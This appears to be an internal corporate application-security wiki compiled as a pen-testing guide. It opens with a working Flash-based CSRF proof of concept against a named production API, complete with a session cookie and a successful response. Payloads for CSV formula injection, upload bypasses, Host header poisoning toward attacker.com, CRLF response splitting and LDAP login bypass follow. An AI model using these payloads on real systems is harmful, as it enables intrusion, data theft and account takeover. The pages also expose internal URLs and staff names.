Cookie: ASP.NET\_SessionId=wqh3m3ujx44mvl5rakeuugjl

{"ResourceId":1947}

**2.5 CSRF with Flash when content –type as ‘application/json’ is mandatory**

1. Create following swf file with target URL

package

{

   import flash.display.Sprite;

   import [flash.net](http://flash.net/).URLLoader;

   import [flash.net](http://flash.net/).URLRequest;

   import [flash.net](http://flash.net/).URLRequestHeader;

   import [flash.net](http://flash.net/).URLRequestMethod;

   public class re extends Sprite

   {

      public function re()

      {

         var member1:Object = null;

         var myJson:String = null;

         Wonderfl.capture(stage);

         super();

         Wonderfl.capture(stage);

         member1 = new Object();

         member1 = {"ResourceId":1947};

         var myData:Object = member1;

         myJson = JSON.stringify(myData);

         myJson = JSON.stringify(myData);

         var url:String = "<http://localhost:8881/DVWA/csrf.php>";

         var request:URLRequest = new URLRequest(url);

         request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json"));

         request.data = myJson;

         request.method = URLRequestMethod.POST;

         var urlLoader:URLLoader = new URLLoader();

         try

         {

            urlLoader.load(request);

            return;

         }

         catch(e:Error)

         {

            trace(e);

            return;

         }

      }

   }

}

1. Execute above ActionScript
2. Now, create following PHP file and save in the webserver where above SWF has been saved.

**Csrf.php**

<?php

// redirect automatically

header("Location: <https://adp.resourcescheduler.com/mapview/api/MapViewApi/DisableResource>", true, 307);

?>

1. Launch swf file in browser
2. Observe following request goes from client
3. **Initial swf file to load on browser:**

GET /DVWA/csrf.swf HTTP/1.1

Host: localhost:8881

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.8

Connection: close

1. **Accessing PHP file available in attacker’s website**

POST /DVWA/csrf.php HTTP/1.1

Host: localhost:8881

Content-Length: 19

Origin: [http://localhost:8881](http://localhost:8881/)

X-Requested-With: ShockwaveFlash/32.0.0.142

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36

Content-Type: application/json

Accept: \*/\*

Referer: <http://localhost:8881/DVWA/csrf.swf>

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.8

Connection: close

{"ResourceId":1947}

1. **CSRF page loading (Final CSRF request)**

POST /mapview/api/MapViewApi/DisableResource HTTP/1.1

Host: [adp.resourcescheduler.com](http://adp.resourcescheduler.com/)

Connection: close

Content-Length: 19

Origin: null

X-Requested-With: ShockwaveFlash/32.0.0.142

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36

Content-Type: application/json

Referer: <http://localhost:8881/DVWA/csrf.swf>

Cookie: ASP.NET\_SessionId=wqh3m3ujx44mvl5rakeuugjl

{"ResourceId":1947}

**Response:**

HTTP/1.1 200 OK

true

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/CSV+Injection#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o "), last modified on [Mar 30, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1467417846&selectedPageVersions=2&selectedPageVersions=3)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/CSV+Injection#page-metadata-start)

**Note: This document requires review by team**

**CSV File Basics:**

A Comma Separated Values (CSV) file consists of data that is usually separated/delimited by comma character, but sometimes use other characters like semicolon. CSV file allows a user to export complex data from one application to a CSV file, and then import the data in that CSV file into another application.

**CSV File structure:**

In general, first line of a CSV file consists of table column labels. Each of the subsequent lines represent a row of the table. Commas separate each cell in the row, which is where the name comes from.

Below is a simple example for CSV file. This example has two columns, labeled 'emp name' and 'emp id'. It has 5 rows including the header row.

**Emp name, Emp id**

Sai, 1

Naga Suman, 2

Kaleem, 3

Vasanth, 4

**CSV Injection:**

Many of the ADP internal applications provide an option to download employee related data in the form of a CSV file. Most of the times, this downloaded data is user-controlled data. For instance, take the scenario where an administrator can export the data of all the employees into CSV file. The fields in the file include the details filled by the ADP employees. So technically, the administrator is exporting user-controlled data. What if a disgruntled employee inserts a malicious formulae’s (starting with =/+/-/@) that got included in the CSV file when the data was exported? This might lead to CSV injection.

**Exploit Scenarios:**

* **Basic CSV injection test**

1. Inject basic excel formulae’s like **=5+6**, **@sum (1,2)**, **-2-3**, **+2+4** into emp name field.
2. Incase if the user input is not sanitized properly, these injected excel formula will be stored in the backend database.
3. Try exporting the employee data into CSV file, by using export functionality in admin portal.
4. Application is said to be vulnerable, If the formulae’s injected in emp name field gets evaluated after opening the CSV file.

* **Running system level commands**

1. Inject malicious excel formulas like **=cmd|'/c calc'!c3** into EmpName field.
2. Excel formula injected by the employee will be stored in the backend database, if the admin portal is not properly sanitizing the user input.
3. Admin tries to export all the employee related data to a CSV file.
4. Once the admin opens the CSV file in Microsoft Excel, he gets the following warning.
5. Since the CSV came from a trusted source, the admin may enable the running of active content. Again, an additional warning pops up stating that Excel wants to open another application. In our case, it is cmd.exe.
6. As admin trusts the file, he clicks on “Yes” which pops up a calculator.

**Note:** In real-time scenario, attacker goal is not to popup a calculator. Instead, a malicious program would be run which will compromise the Admin machine.

* **Stealing sensitive ADP employee data by using Data exfiltration technique**

1. Start the burp collaborator client, which will be used to demonstrate the exfiltration of sensitive employee data present in CSV file.
2. Inject **=HYPERLINK (malicious link)** in to EMP NAME field.
3. Admin exports employee data into a CSV file and opens it with excel.
4. Disgruntled employee username gets executed as a formula and shows an option of a link.
5. Admin clicks on the link and attacker will obtain the exfiltrated user data by using burp collaborator logs.

**Remediation**

1. Characters such as ; =,+,-,@ should not be allowed in fields such as usernames. If these characters are to be allowed, a recommended fix is to append a single quote (‘) to the list of formula triggers (=, +, -) before saving it in the database.
2. User input needs to be validated properly at both the client and server-side.

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Directory+Listing#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o "), last modified on [Sep 09, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1467417852&selectedPageVersions=1&selectedPageVersions=2)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Directory+Listing#page-metadata-start)

**Note: This document requires review by team**

Directory listing is a web server configuration that displays the directory contents when there is no index file in a specific website directory. The index page here is the landing page of an application when you hit the url. It is dangerous to leave this function turned on for the web server because it leads to information disclosure.

Directory listings themselves do not necessarily constitute a security vulnerability. Any sensitive resources within the web root should in any case be properly access-controlled and should not be accessible by an unauthorized party who happens to know or guess the URL. Even when directory listings are disabled, an attacker may guess the location of sensitive files using automated tools.

1. The vulnerability occurs as an attacker may have access to all the files present in the architecture of the web application. This can lead to attackers access information that normally they would not be able to access. Some examples of the files would be:
   1. Configuration file
   2. Backup files
   3. Temporary files
   4. Hidden files

->Upon trying to visit the root directory of the application, if the directory listing is enabled on the server, then the application tends to display contents of the application’s directory as below

1. Try accessing resources like web.config/web.xml to read through configurations and application source code folders to get more sensitive information.

[Skip to end of metadata](https://confluence.es.ad.adp.com/pages/viewpage.action?pageId=1747063807#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o "), last modified on [Sep 17, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1747063807&selectedPageVersions=1&selectedPageVersions=2)

[Go to start of metadata](https://confluence.es.ad.adp.com/pages/viewpage.action?pageId=1747063807#page-metadata-start)

Checklist for File Upload functionality:

**Why File Upload vulnerability exists? :-** The primary reason for getting file upload vulnerability is due to  
lack of proper validation in terms of Content of file, Type of a file and Name of the file before file gets  
uploaded into application.

**Different Tests can be performed over File upload:**

**1. Malicious Files:** Try to upload malicious PDF/txt/Excel files from EICAR website to check  
whether application is allowing the user to upload malicious files.

**2. Upload Source Code files:** Try to identify on which technology the application has been  
implemented and with that knowledge upload corresponding source code files like below

eg: profile.php, profile.aspx, profile.java.. etc

**3. HTML/EXE files:** Check whether application is accepting .html/.exe files. If these are allowed  
then Trojans can be downloaded on the victims machine and also victim may experience XSS.

**4. By-Pass Content Type:** Sometimes application allows the user to upload only PNG/GIF files;  
application might accept the file by checking content-type of file. In such scenarios use burp  
suite to modify the content –type of file and see whether malicious PDF/txt/Excel files also can  
be uploaded or not.

**5. Bypass Black listing:** If the application blacklists the types of files like .java, .gif,.xls. In such cases  
try to upload files by naming it as profile.JAVA, profile.GIF or update.XLS.. etc

**6. Bypassing Black lists using PHPX:** If the application blacklists the types of files like .php, then try  
to upload files by naming it as profile.PHP5,profile.php3 etc.

**7. File contains “tags”:** Upload a file which contains “tags” and check whether tags getting  
executed as part of being "included" in a web page

**8. Files with Double Extensions:** Try to upload a file with double extensions like file.php.jpg. these  
type of files can be used to bypass input validations.

**9. Checking Name of a file:** Try to create file which contains some XSS payload like below and  
upload that file into application. eg: <svg/onload=alert(1)>.jpg Note: This scenario can be tested in Linux environment only.

**Finding Description:**

The application allows users to upload malicious eicar/virus files. Using this an attacker can execute arbitrary commands on the server. Arbitrary command execution may allow access to the server with the permissions of the Web server or script engine user.

**Finding rating:**

[Like](https://confluence.es.ad.adp.com/pages/viewpage.action?pageId=1747063807)Be the first to like this

* No labels
* [Edit Labels](https://confluence.es.ad.adp.com/pages/viewpage.action?pageId=1747063807)

## 1 Comment

#### [**Amancharla, Sai Praneth**](https://confluence.es.ad.adp.com/display/~amanchas)

**Null Byte Injection**

Payload: filename.validextension%00%2einvalidextension

Eg: **file.pdf%00%2eexe**

The above payload can be used to bypass few of the file extension validations as %00 is a null character the file name would then constitute to "file.pdf .exe" and might help pass the validation checks/ rules as everything after the null byte gets ignored. When the file is downloaded and since the file names cannot contain spaces in their name, the file name gets changed to file.pdf\_.exe (adding an underscore in place of space) and gets treated as an exe file instead of pdf.

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Host+Header+Attack#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o "), last modified on [Apr 19, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1384678965&selectedPageVersions=1&selectedPageVersions=2)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Host+Header+Attack#page-metadata-start)

HOST HEADER INJECTION

Host Header Injection in Nutshell

**What is a Host header attack?**

A Host header attack, also known as Host header injection, is a web attack where the attacker provides a false Host header to the web application.

**How common are Host header attacks?**

According to the latest Surveys, Host header injection is becoming less common but still present in approximately 2.5% of web applications.

**How dangerous are Host header attacks?**  
Host header attacks may be used for web cache poisoning and attacks such as password reset poisoning. Web cache poisoning lets an attacker serve poisoned content to anyone who requests pages. Using password reset poisoning, the attacker can obtain a password reset token and reset another user’s password.

**How to avoid Host header attacks?**  
To avoid Host header attacks, simply don’t trust the Host header. If you must use the Host header to identify the location of the web server, use a whitelist of allowed hostnames.

**What are the different Burp extensions that can be used to facilitate in identifying this vulnerability?**  
Active Scan++  
Param Miner  
-----------------------------------------------------------------------------------------------

**Host Header Introduction**  
Usage of Host Header  
A web server commonly hosts several web applications on the same IP address, referring to each application via the virtual host. In an incoming HTTP request, web servers often dispatch the request to the target virtual host based on the value supplied in the Host header.

Risks pertaining to Host Header  
Without proper validation of the header value, the attacker can supply invalid input to cause the web server to:  
1. dispatch requests to the first virtual host on the list  
2. cause redirect to an attacker-controlled domain  
3. perform web cache poisoning  
4. manipulate password reset functionality  
5. perform XSS, if there’s no HTML encoding

**Testing Methodology**

**Case 1 & 2** :- Dispatch requests to the first virtual host/Cause redirect to an attacker-controlled domain  
Initial testing is as simple as supplying another domain (i.e. [attacker.com](http://attacker.com/)) into the Host header field. It is how the web server processes the header value that dictates the impact. The attack is valid when the web server processes the input to send the request to an attacker-controlled host that resides at the supplied domain, and not to an internal virtual host that resides on the web server.  
GET / HTTP/1.1  
Host: [www.attacker.com](http://www.attacker.com/)  
[...]  
In the simplest case, this may cause a 302 redirect to the supplied domain.  
HTTP/1.1 302 Found  
[...]  
Location: <http://www.attacker.com/login.php>

Alternatively, the web server may send the request to the first virtual host on the list.

**Case 3 :- Web Cache Poisoning**

Any web cache poisoning attack relies on manipulation of unkeyed inputs, such as headers. Web caches ignore unkeyed inputs when deciding whether to serve a cached response to the user. This behavior means that you can use them to inject your payload and elicit a "poisoned" response which, if cached, will be served to all users whose requests have the matching cache key. Therefore, the first step when constructing a web cache poisoning attack is identifying unkeyed inputs that are supported by the server.

You can identify unkeyed inputs manually by adding random inputs to requests and observing whether or not they have an effect on the response. This can be obvious, such as reflecting the input in the response directly, or triggering an entirely different response.

**Burp Extension that can be used :- Param Miner**  
Web Cache can be poisoned in 3 different ways by manipulating Host Header:-  
A. Using Single Host Header  
B. Using X-Forwarded Host Header  
C. Using Multiple Host Headers  
Example of Web Cache Poisoning using X-Forwarded Host Header Bypass  
In the event that Host header injection is mitigated by checking for invalid input injected via the Host header, you can supply the value to the X-Forwarded-Host header.  
GET / HTTP/1.1  
Host: [www.example.com](http://www.example.com/)  
X-Forwarded-Host: [www.attacker.com](http://www.attacker.com/)  
...  
Potentially producing client-side output such as:  
...  
<link src="<http://www.attacker.com/link>" />  
...  
Once again, this depends on how the web server processes the header value.

**Case 4 :- Manipulate Password Reset Functionality**

It is common for password reset functionality to include the Host header value when creating password reset links that use a generated secret token. If the application processes an attacker-controlled domain to create a password reset link, the victim may click on the link in the email and allow the attacker to obtain the reset token, thus resetting the victim’s password.  
Example Steps:-  
1- Open password reset link <https://login.adpapp.com/passwords/forgot>  
2- Enter the victim's email address and click Reset and Email Password  
3- Intercept the HTTP request in Burp Suite & modify Host Header/add X-Forwarded Host Header and write - [attacker.com/.adpapp.com](http://attacker.com/.adpapp.com)  
Sent email would be like  
... Email snippet ...

Click on the following link to reset your password:

http://www.attacker.com/.adpapp.com/passwords/reset/<SECRET\_TOKEN>

... Email snippet ...  
Impact :- The victim will receive the malicious link in their email, and, when clicked, will leak the user's password reset link / token to the attacker, leading to full account takeover.  
\*\*\*NOTE :- It’s been observed that adding original host header value somewhere in between attacker’s host may give successful results. Just like original host header value ‘[adpapp.com](http://adpapp.com/)’ has been included as part of modified host header value ‘[attacker.com/.adpapp.com](http://attacker.com/.adpapp.com)’

**Case 5 :- Perform XSS if there’s no HTML encoding used**  
If the application writes the Host header to any page without HTML-encoding it, then gaining XSS is quite easy.  
Example:-  
curl -H "Host: cow\"onerror='alert(1)'rel='stylesheet'" <http://example.com/> | fgrep cow\"  
This will create the following request:  
> GET / HTTP/1.1  
> Host: cow"onerror='alert(1)'rel='stylesheet'

The response should show a poisoned <link> element:  
<link href="http://cow"onerror='alert(1)'rel='stylesheet'/" rel="canonical"/>

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/HTTP+Response+Splitting#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o "), last modified on [Dec 22, 2020](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1384678962&selectedPageVersions=1&selectedPageVersions=2)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/HTTP+Response+Splitting#page-metadata-start)

A CRLF injection attack is one of several types of injection attacks. It can be used to escalate to more malicious attacks such as Cross-site Scripting (XSS), page injection, web cache poisoning, cache-based defacement, and more. A CRLF injection vulnerability exists if an attacker can inject the CRLF characters into a web application, for example using a user input form or an HTTP request.

The CRLF abbreviation refers to Carriage Return and Line Feed. CR and LF are special characters (ASCII 13 and 10 respectively, also referred to as \r\n) that are used to signify the End of Line (EOL). The CRLF sequence is used in operating systems including Windows (but not Linux/UNIX) and Internet protocols including HTTP.

How to check:

1. Insert CRLF characters into the request header or POST body and check how the application is processing the request.
2. Csrf PROTECTION BYPASS FOR CRLF
3. Fake login
4. If the application process CRLF sequence(%0d%0a), then try to add a header (Example: cookie header) to the request and check how the application reacts. This way, we can introduce new headers which may help with other attacks like session fixation..etc. This can also lead to URL redirection with Location header.  
   Example: <https://test.com/?t=%0d%0aSet-Cookie:%20csrf_id=injection%3b>  
   [https://test.com/%0d%0aLocation:%20http://evil.com](https://test.com/%0d%0aLocation:%20http:/evil.com)
5. Now introduce a double CRLF sequence(%0d%0a%0d%0a) and add content length header accordingly. In the below example, we are trying to terminate the initial response by putting content-length 0 and introducing a new response to poison the cache.  
     
   Example: <https://victim.com/?t=advanced%0d%0aContent-Length:%20> 0%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aContent-Length:%20 35%0d%0a%0d%0aSorry,%20System%20Down  
     
   The web cache will see two different responses, so if the attacker sends, immediately after the first request, a second one asking for /index.html, the web cache will match this request with the second response and cache its content, so that all subsequent requests directed to [victim.com/index.html](http://victim.com/index.html) passing through that web cache will receive the “system down” message.
6. The CRLF Injection need to be tested in all fields where the application is taking user input. Sometimes even at contact form functionality. If the application is vulnerable to this attack, we may even able to perform Email header injection by introducing new values like BCC into the request.
7. If the CRLF characters are not getting injected, try to add the CRLF characters in different encoding:
   1. %E5%98%8A = %0A = \u560a
   2. %E5%98%8D = %0D = \u560d
   3. %E5%98%BE = %3E = \u563e (>)
   4. %E5%98%BC = %3C = \u563c (<)

Example: %E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE

It must be noted that a successful exploitation of this vulnerability in a real-world scenario can be quite complex, as several factors must be considered:

1. The pen-tester must properly set the headers in the fake response for it to be successfully cached (e.g., a Last-Modified header with a date set in the future). He/she might also have to destroy previously cached versions of the target pagers, by issuing a preliminary request with “Pragma: no-cache” in the request headers
2. The application, while not filtering the CR+LF sequence, might filter other characters that are needed for a successful attack (e.g., “”). In this case, the tester can try to use other encodings (e.g., UTF-7)
3. Some targets (e.g., ASP) will URL-encode the path part of the Location header (e.g., [www.victim.com/redirect.asp](http://www.victim.com/redirect.asp)), making a CRLF sequence useless. However, they fail to encode the query section (e.g., ?interface=advanced), meaning that a leading question mark is enough to bypass this filtering.

References:

1. <https://www.acunetix.com/websitesecurity/crlf-injection/>
2. <https://medium.com/cyberverse/crlf-injection-playbook-472c67f1cb46> - Some CRLF payloads and filter bypass techniques
3. <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CRLF%20Injection> – Having some scenarios with examples.
4. <https://hackerone.com/reports/446271> - Adding cookie with CRLF Injection
5. <https://hackerone.com/reports/192667> - XSS with CRLF Injection
6. <https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62> - URL redirection with CRLF Injection
7. <https://owasp.org/www-project-web-security-testing-guide/assets/archive/OWASP_Testing_Guide_v4.pdf> - Page151

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Insecure+desearlization#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Sep 02, 2021](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1747063835)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Insecure+desearlization#page-metadata-start)

**This page needs to be updated:**

**What is Serialization?**

->The process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams.

Object---------------àByte stream-------------àData base

In another way, The process of converting an serialized data into object by a sequence of bytes. It is a reverse process to the serialization process.

**Serialization may be used in application:**

1.Remote and inter process communication

2.Wire protocols, web services, messages brokers

3.Caching/Persistence

4.Database, cache servers, file systems

5.HTTP cookies, HTML form parameters, API authentication tokens.

**What is Insecure Deserialization?**

Insecure Deserialization is when user-controllable data is Deserialized by a website.

**Understanding the risk**

1.It’s a new security risk this time

2.It’s hardest security in the list

3.In web application you have an object and you need it to send it across the network or store it in the Database.

Impacts of vulnerable deserialization

1.Application and APIs will be vulnerable if they deserialize hostile or tampered objects supplied by an attacker

2.This can result in two primary types of attacks:

->Object and data structure related attacks where the attacker modifies application logic or achieves arbitrary remote code execution if there are classes available to the application that can change behavior during or after deserialization

->Typical data tampering attacks, such as access-control-related attacks, where exiting data structures are used but the content is changed.

->Insecure deserialization often leads to remote code execution

->Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks

**How to test:**

1.Find the fields which are using serialized data by decoding it.

2.let us consider the application using the deserialization in the cookie.

3.Decode the cookie in base-64 format and see the data.

$user->name = “carlos”;

$user->isLoggedIn = true;

When serialized, this object may look something like this:

O : 4 : “User”:2:{s:4:”name”:s:6:”carlos;

S:10:”isLoggedIn”:b:1;}

O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}

5.if a attacker find this data after decoding the cookie he replace the b:0àb:1 then the attacker encode it and submit the cookie then he able to login as admin.

6.Like this the attacker perform certain attacks.

**Defensive techniques:**

1.Do not trust user input. This has always been true, And remains so even if input comes in the form of a serialized object.

2.Validate the data before using it. If you expect a number make sure it is indeed only a number before using it

3.If you are sending the object between two trusted systems make sure the object has not been modified. This could be done with checksum or digital signature.

4.Read up on the function used for deserialization. It is possible there are more secure variations available, something that is often mentioned in the official documentation.

5.If all of this appears confusing, maybe there is no need to use serialization at all. You can often achieve the same results using a different approach

**Prevention:**

1.Uses IP never been deserialization at all unless if needed

2.Checks must implement before stat classes (like digital signature)

3.Create your own-class serialization methods intended

4.Don’t focus only much on removing gadget chain (breaking) that identify during test

5.Intergrity and encryption

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/LDAP+Injection#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Mar 30, 2021](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1467417911)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/LDAP+Injection#page-metadata-start)

**Note: This document needs to be reviewed by the team**

What is LDAP?

The Lightweight Directory Access Protocol is a protocol for querying and modifying directory services running over TCP/IP. The most widely used implementations of LDAP services are  
Microsoft ADAM (Active Directory Application Mode) and OpenLDAP LDAP directory services are software applications that store and organize information sharing certain common attributes; the information is structured based on a tree of directory entries,and the server provides powerful browsing and search capabilities, etcetera. LDAP is object-oriented,therefore, every entry in an LDAP directory services is an instance of an object and must correspond to the rules fixed for the attributes of that object. Due to the hierarchical nature of LDAP directory services read-based queries are optimized to the detriment of write-based queries.

LDAP is also based on the client/server model. The most frequent operation is to search for  
directory entries using filters. Clients send queries to the server and the server responds with  
the directory entries matching these filters.

LDAP filters are defined in the RFC 4515. The structure of these filters can be summarized as:

• Filter = ( filtercomp )  
• Filtercomp = and / or / not / item  
• And = & filterlist  
• Or = |filterlist  
• Not = ! filter  
• Filterlist = 1\*filter  
• Item= simple / present / substring  
• Simple = attr filtertype assertionvalue  
• Filtertype = ”=” / ” ~ =”/ ”>=” / ”<=”  
• Present = attr = \*  
• Substring = attr ”=” [initial] \* [final]  
• Initial = assertionvalue  
• Final = assertionvalue

All filters must be in brackets, only a reduced set of logical (AND, OR and NOT) and relational  
(=,>=,<=,~=) operators are available to construct them. The special character “\*” can be used  
to replace one or more characters in the construction of the filters.

Apart from being logic operators, RFC 4256 allows the use of the following standalone symbols  
as two special constants:  
- (&) -> Absolute TRUE  
- (|) -> Absolute FALSE  
What is LDAP injection?  
LDAP injection is a vulnerability in which queries are constructed from untrusted input without prior validation or sanitization. LDAP uses queries constructed from predicates that involve the use of special characters (e.g., brackets, asterisks, ampersands, or quotes). Meta characters such as these control the meaning of the query; thereby, affecting the type and number of objects retrieved from the underlying directory. If an attacker can submit input containing these control characters, they can alter the query and change the intended behaviour.

**How does LDAP injection work.?**

LDAP injection attacks are based on similar techniques to SQL injection attacks. Therefore, the  
underlying concept is to take advantage of the parameters introduced by the user to generate  
the LDAP query. A secure Web application should sanitize the parameters introduced by the  
user before constructing and sending the query to the server. In a vulnerable environment  
these parameters are not properly filtered and the attacker can inject malicious code.  
  
Fig1 : Typical scenario for an LDAP-based Web application

Taking into consideration the structure of the LDAP filters explained in section 2 and the  
implementations of the most widely used LDAP: ADAM and OpenLDAP, the following  
conclusions can be drawn about the code injection. (The following filters are crafted using as  
value a non sanitized input from the user):

i) (attribute=value): If the filter used to construct the query lacks a logic operator (OR  
or AND), an injection like ”value)(injected\_filter” will result in two filters:  
(attribute=value)(injected\_filter). In the OpenLDAP implementations the second filter  
will be ignored, only the first one being executed. In ADAM, a query with two filters  
isn´t allowed. Therefore, the injection is useless.

ii) (|(attribute=value)(second\_filter)) or (&(attribute=value)(second\_filter)): If the  
filter used to construct the query has a logic operator (OR or AND), an injection like  
“value)(injected\_filter)” will result in the following filter:  
(&(attribute=value)(injected\_filter)) (second\_filter)). Though the filter is not even  
syntactically correct, OpenLDAP will start processing it left to right ignoring any  
character after the first filter is closed. Some LDAP Client web components will ignore  
the second filer, sending to ADAM and OpenLDAP only the first complete one,  
therefore allowing the injection.

iii) Some application frameworks will check the filter for correctness before sending it to  
the LDAP server. Should this be the case, the filter has to be syntactically correct,  
which can be achieved with an injection like:  
“value)(injected\_filter))(&(1=0” .This will result in two different filters, the second  
being ignored: (&(attribute=value)(injected\_filter))(&(1=0)(second\_filter)).  
iv) As the second filter is going to be ignored by the LDAP Server, some components won´t  
allow an LDAP query with two filters. In these cases a special injection must be crafted  
in order to obtain a single-filter LDAP query. An injection like: “value)(injected\_filter”  
will result in the following filter: (&(attribute=value)(injected\_filter)(second\_filter)).

The typical test to know if an application is vulnerable to code injection consists of sending to  
the server a query that generates an invalid input. Therefore, if the server returns an error  
message, it is clear for the attacker that the server has executed his query and that he can  
exploit the code injection techniques. Taking into account the previous discussion, two kinds of  
environments can be distinguished: AND injection environments and OR injection  
environments.  
  
Fig 2 : LDAP injection

Types of LDAP injection

1. LDAP Injection

1.1. AND LDAP Injection:

In this case the application constructs the normal query to search in the LDAP directory with  
the “&” operator and one or more parameters introduced by the user.  
  
For example: (&(parameter1=value1)(parameter2=value2))

Where value1 and value2 are the values used to perform the search in the LDAP directory. The  
attacker can inject code, maintaining a correct filter construction but using the query to  
achieve his own objectives.

1.1.1. Example 1: Access Control Bypass

A login page has two text box fields for entering user name and password (figure 3). Uname  
and Pwd are the user inputs for USER and PASWORD. To verify the existence of the  
user/password pair supplied by a client, an LDAP search filter is constructed and sent to the  
LDAP server:

(&(USER=Uname)(PASSWORD=Pwd))

If an attacker enters a valid username, for example, slisberger, and injects the appropriate  
sequence following this name, the password check can be bypassed.  
Making Uname=slisberger)(&)) and introducing any string as the Pwd value, the following  
query is constructed and sent to the server:

(& (USER=slisberger)(&))(PASSWORD=Pwd))  
  
Fig 3 : Login page with LDAP injection

Only the first filter is processed by the LDAP server, that is, only the query  
(&(USER=slisberger)(&)) is processed. This query is always true, so the attacker gains access to  
the system without having a valid password.  
  
Fig 4 : Home page shown to the attacker after avoiding the access control

1.1.2. Example 2: Elevation of Privileges

For example, suppose that the following query lists all the documents visible for the users with  
a low security level:

(&(directory=documents)(security\_level=low))

Fig 5 : Low security level documents.

Where “documents” is the user entry for the first parameter and low is the value for the  
second. If the attacker wants to list all the documents visible for the high security level, he can  
use an injection like “documents)(security\_level=\*))(&(directory=documents” resulting in the  
following filter:

(&(directory=documents)(security\_level=\*))(&(directory=documents)(security\_level=low))  
  
Fig 6 : All security levels documents

The LDAP server will only process the first filter ignoring the second one, therefore, only the  
following query will be processed: (&(directory=documents)(security level=\*)), while (&  
(directory=documents)(security level=low)) will be ignored.  
As a result, a list with all the documents available for the users with all security levels will be  
displayed for the attacker although he doesn’t have privileges to see them.

1.2. OR LDAP Injection:

In this case the application constructs the normal query to search in the LDAP directory with  
the “|” operator and one or more parameters introduced by the user.

For example:(|(parameter1=value1)(parameter2=value2))

Where value1 and value2 are the values used to perform the search in the LDAP directory. The  
attacker can inject code, maintaining a correct filter construction but using the query to  
achieve his own objectives.

1.2.1. Example 1: Information Disclosure

Suppose a resources explorer allows users to know the resources available in the system  
(printers, scanners, storage systems, etc…). This is a typical OR LDAP Injection case, because  
the query used to show the available resources is:

(|(type=Rsc1)(type=Rsc2))

Rsc1 and Rsc2 represent the different kinds of resources in the system.  
Rsc1=printer and Rsc2=scanner to show all the available printers and scanners in the system.

Fig 7 : Resources available to the user from the Resources Consoles Management

If the attacker enters Rsc1=printer)(uid=\*), the following query is sent to the server:

(|(type=printer)(uid=\*))(type=scanner))

The LDAP server responds with all the printer and user objects.

Fig 8 : Information available to the attacker after the LDAP injection

**2. Blind LDAP Injection**

Suppose that an attacker can infer from the server responses, although the application does  
not show error messages, the code injected in the LDAP filter generates a valid response (true  
result) or an error (false result). The attacker could use this behavior to ask the server true or  
false questions. These types of attacks are named “Blind Attacks”. Blind LDAP Injection attacks  
are slower than classic ones but they can be easily implemented, since they are based on  
binary logic, and they let the attacker extract information from the LDAP Directory.

2.1. AND Blind LDAP Injection:

Suppose a web application wants to list all available Epson printers from an LDP directory  
where error messages are not returned. The application sends the following LDAP search filter:  
(& (objectClass=printer)(type=Epson\*))  
With this query, if there are any Epson printers available, icons are shown to the client,  
otherwise no icon is shown. If the attacker performs a Blind LDAP injection attack injecting  
“\*)(objectClass=\*))(& (objectClass=void“, the web application will construct the following LDAP  
query:  
(& (objectClass=\*)(objectClass=\*))(&(objectClass=void)(type=Epson\*))  
